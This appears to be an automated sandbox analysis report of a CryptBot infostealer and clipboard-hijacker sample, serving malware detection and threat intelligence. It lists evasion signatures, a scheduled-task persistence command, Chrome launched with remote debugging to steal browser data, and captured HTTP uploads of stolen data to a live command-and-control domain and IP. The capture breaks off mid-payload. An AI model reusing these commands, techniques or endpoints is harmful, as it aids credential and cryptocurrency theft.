Edit tour

Windows Analysis Report
NVkyG9HAeY.exe

Overview

General Information

Sample name:	NVkyG9HAeY.exe renamed because original name is a hash value
Original sample name:	60cb08aff943753c526cf73fd6007489.exe
Analysis ID:	1578039
MD5:	60cb08aff943753c526cf73fd6007489
SHA1:	82a65e58388a24fa079f644e574b5a26512d1078
SHA256:	5a1e55df322d7f0f410e19bda46827def8374605479fe22d16c921c36751ec96
Tags:	exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Cryptbot

AI detected suspicious sample

Drops large PE files

Found evasive API chain (may stop execution after checking mutex)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Leaks process information

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

NVkyG9HAeY.exe (PID: 5900 cmdline: "C:\Users\user\Desktop\NVkyG9HAeY.exe" MD5: 60CB08AFF943753C526CF73FD6007489)

chrome.exe (PID: 7528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7772 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2256,i,14432430803274896286,16622150028371568839,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

service123.exe (PID: 4944 cmdline: "C:\Users\user\AppData\Local\Temp\service123.exe" MD5: 110FE44D33E426703CD712E879D34CBC)

schtasks.exe (PID: 4864 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 1952 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 1148 MD5: C31336C1EFC2CCB44B4326EA793040F2)

service123.exe (PID: 1676 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

service123.exe (PID: 5352 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

service123.exe (PID: 7612 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

service123.exe (PID: 8160 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: service123.exe PID: 4944	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.service123.exe.6c7a0000.1.unpack	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\NVkyG9HAeY.exe", ParentImage: C:\Users\user\Desktop\NVkyG9HAeY.exe, ParentProcessId: 5900, ParentProcessName: NVkyG9HAeY.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, ProcessId: 4864, ProcessName: schtasks.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\NVkyG9HAeY.exe", ParentImage: C:\Users\user\Desktop\NVkyG9HAeY.exe, ParentProcessId: 5900, ParentProcessName: NVkyG9HAeY.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 7528, ProcessName: chrome.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:01:21.770862+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49797	194.87.47.113	80	TCP
2024-12-19T08:01:23.695915+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49807	194.87.47.113	80	TCP
2024-12-19T08:01:33.661788+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49841	194.87.47.113	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: NVkyG9HAeY.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=QlaozPmcCuPAgq4w1734591653

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: NVkyG9HAeY.exe	Virustotal: Detection: 76%			Perma Link
Source: NVkyG9HAeY.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: NVkyG9HAeY.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_009515B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		9_2_009515B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7A14B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		9_2_6C7A14B0

Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_533f9159-7

Source: NVkyG9HAeY.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\.ms-ad\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File opened: C:\Users\user\AppData\Local\Google\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea ecx, dword ptr [esp+04h]	9_2_009581E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81AEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C7C0860
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C7CA970
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C7CA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C7CA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C87F960h	9_2_6C7BEB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	9_2_6C8484A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C7C4453
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C7CC510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C7CA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C7CA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C7CA580
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C7CE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C7CE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C7C0740
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, ecx	9_2_6C840730
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81C040
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81C1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+04h]	9_2_6C7FA1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C7C0260
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [6C87D014h]	9_2_6C874360
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81BD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C817D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	9_2_6C813840
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+04h]	9_2_6C7CD974
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C7F9B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C7DBBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C7DBBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C81B4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C7CD504
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+0Ch]	9_2_6C7CD674
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C87DFF4h	9_2_6C813690
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_6C819600
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+08h]	9_2_6C7CD7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C7BB1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	9_2_6C843140
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C7CD2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	9_2_6C837350

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 28MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49797 -> 194.87.47.113:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49841 -> 194.87.47.113:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49807 -> 194.87.47.113:80

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 561505Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 31 36 34 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=QlaozPmcCuPAgq4w1734591653 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 459Content-Type: multipart/form-data; boundary=------------------------Dc1TOVIqiOr47OG3fJawsGData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 44 63 31 54 4f 56 49 71 69 4f 72 34 37 4f 47 33 66 4a 61 77 73 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 75 6c 75 6b 65 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9c 6a e5 08 63 6b 5e 14 9a 8b 20 64 82 71 20 4d 26 a0 94 36 86 89 06 d7 31 56 45 d5 a3 d8 18 c9 c3 94 56 1f 5d 1d b2 c1 df 67 fa 5f 28 3d 8a 8e c4 f5 2d 6c 1b 3e 6a 59 1a 11 8b 4e c9 53 22 61 23 e3 10 3f 88 a1 96 a0 09 8a 83 fb 84 de 1f 31 b2 d3 f0 c9 74 30 49 a0 96 8a c2 e7 30 7b 49 b2 b4 17 89 1e 89 09 4d 3b fe 11 d2 3a 86 27 ae 6e fb ae 21 8e 35 d3 b0 86 13 6e dd 1d 0c 74 f0 a9 79 5e 62 ad 1e 36 fc 8a 91 b4 d7 ca c0 06 30 f8 8b ce 87 6c 3a 30 69 ca 61 bf e5 b2 c8 f5 9d b1 4f d9 cb 3f 00 64 81 2c e2 a9 1a 7a 8a 50 36 cc ee ec 0b ee e9 3d 27 d9 19 6b 5f b8 25 f1 75 9b 5b 21 e1 c2 42 d9 d1 37 8e 6c 4e 42 43 d4 62 bc 19 e3 7d b0 0a db 26 28 6e 9f fa 85 bf 42 9b 07 f1 01 e2 05 48 54 d6 4e 78 ed 40 b9 07 f8 c1 39 2f b5 7c 08 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 44 63 31 54 4f 56 49 71 69 4f 72 34 37 4f 47 33 66 4a 61 77 73 47 2d 2d 0d 0a Data Ascii: --------------------------Dc1TOVIqiOr47OG3fJawsGContent-Disposition: form-data; name="file"; filename="Sulukek.bin"Content-Type: application/octet-streamjck^ dq M&61VEV]g_(=-l>jYNS"a#?1t0I0{IM;:'n!5nty^b60l:0iaO?d,zP6='k_%u[!B7lNBCb}&(nBHTNx@9/\|--------------------------Dc1TOVIqiOr47OG3fJawsG--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 90357Content-Type: multipart/form-data; boundary=------------------------1HMovXwVt5rtBGFUqTvSw4Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 48 4d 6f 76 58 77 56 74 35 72 74 42 47 46 55 71 54 76 53 77 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 69 64 75 62 69 62 61 74 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 61 32 fa c1 de e1 97 7a 7f 5d 57 83 e9 1d 88 43 d6 f5 14 44 e5 1f ed 77 f2 a6 63 e1 91 70 04 26 f1 f5 d4 fc c4 ad a2 3a 08 25 44 01 3f 42 8c 97 e2 27 0c bd 1b df c8 4f f8 39 85 d3 ed 72 99 2c 4e d9 61 2c fa a1 d9 0c 2f 3c b9 43 da db 1b a5 f1 27 db 2d fb f2 87 e7 0e 75 1e c4 8e f9 50 e8 ca 3e 01 1d 22 92 a1 0e 0e d5 6d e1 9f 1e 78 19 a3 7c de 39 a6 9b 58 cf dc e9 bd 62 33 88 17 8d a5 3a ef 1b 76 36 43 c1 11 d4 6b ae fc 5b ca 44 b0 39 df a8 b5 e6 26 c9 d4 82 65 60 e5 76 c3 32 25 89 5d 28 f1 33 69 7d fd c5 43 a2 79 0e 91 5f 14 22 39 82 cc 6a 57 46 1c 11 7b 34 31 68 79 53 61 8c 30 e2 59 1c 86 35 ae 7f a0 0d d1 73 90 5f f1 e7 b1 e5 f2 ea 80 57 92 ad c9 cd e9 55 b8 1b 97 29 48 f3 c1 ba 2b 1b 22 e6 ae 89 cf 2b c7 15 fe 78 59 29 83 7f f5 e4 46 c3 8f b8 31 43 94 4c 89 d1 1f ba 2a 5b be e6 8e a9 d3 26 f5 6a 31 2b 61 f7 5b fe 1f 68 85 6a 0f 3b 84 2d 69 b7 4d c1 65 2b a8 b3 b1 6c c7 10 6c db 89 e9 2c c2 b9 21 ae 5e 9e 63 9f 55 0b f4 2a bf 74 79 77 8d 8f 8c cc f1 ea d6 e5 30 d6 cd f2 ac 57 aa 64 94 45 2a 92 55 84 15 6a 9f 18 b6 29 fd 89 46 99 e4 c2 17 7e f7 69 1c 98 ed 04 b2 12 60 ae 91 a8 ea ef ae 1a f5 40 bc e2 4b f7 3b e7 61 0d 1e 17 ae 3d 44 36 7f 70 26 f9 cb 1a 65 81 5e 72 c4 88 77 44 a9 de a1 71 1e 3b b2 a0 79 4e 5c 52 f8 cb 27 d9 61 dd 6a d3 0c a2 9d 41 8b 44 58 7d d5 5e 01 2f 5c 91 18 12 a8 08 fe 10 2a 81 69 34 ef e7 aa 2a 3c 66 4c e1 a3 05 1f 92 ce 40 3a de 66 a5 20 a1 53 32 a0 46 07 ae 87 01 57 8f 18 99 36 96 28 57 f8 94 f2 74 85 24 38 9d 44 a8 44 93 6e 3f ec bf 5d eb 53 2a 56 d6 17 db f7 8d 19 a9 e2 ee 49 77 c1 87 7e 6c 87 c6 17 66 2a c4 f5 4e 66 31 81 92 ce 01 d8 8a 6f 06 29 00 79 7e a2 dc 66 1b ad d6 ef bd 12 29 f0 6e e8 0e 2c 74 cb f7 2d ea c5 47 5d 7c 2c 78 29 3a a6 67 d5 e0 2b 15 00 e8 54 d5 3a b3 52 73 f1 1d 24 3c bc 29 63 40 a7 14 07 e1 a5 c8 df 7d 88 51 b6 56 cb 65 bd 46 cf 1b e8 7f 5e f4 71 a2 3b 79 91 10 5d d4 a0 d0 dd f5 07 4b ef 75 90 1f 0b a6 c4 6f 84 f2 6e 7a 2c 5d e1 d8 4d e0 09 47 8f 5d d5 17 11 2a b7 4b b6 87 9d 6d 27 31 8f f4 e6 a6 37 f7 6e 9a 13 ec c1 b9 51 ca 57 f1 57 94 01 b6 93 8e 04 40 69 d0 fd bb 88 29 f2 1a 8a 61 be 8d 53 95 c5 d1 95 68 e8 df c2 14 45 35 89 13 96 99 c1 de 95 21 24 4a 4a 0b 10 bb a3 83 a4 46 2c 07 ad 12 8d 81 c0 bd 43 86 15 58 90 e1 d2 9f 83 99 7a be 1d eb 9f 92 4b 97 c8 32 fc 06 32 d7 86 71 27 35 83 fb 1c f9 45 96 b7 5c bf fb 4b c3 af a3
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 34750Content-Type: multipart/form-data; boundary=------------------------L4GbWtrpsRZIpKLuE1Vy2zData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4c 34 47 62 57 74 72 70 73 52 5a 49 70 4b 4c 75 45 31 56 79 32 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 70 75 72 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 70 d4 0d d7 a3 37 89 f1 98 38 71 e5 79 1c 2a 91 6c 89 1b df cb b0 2e 66 a5 77 25 43 f1 66 ea 95 5d 31 b9 91 2e 87 13 8d f3 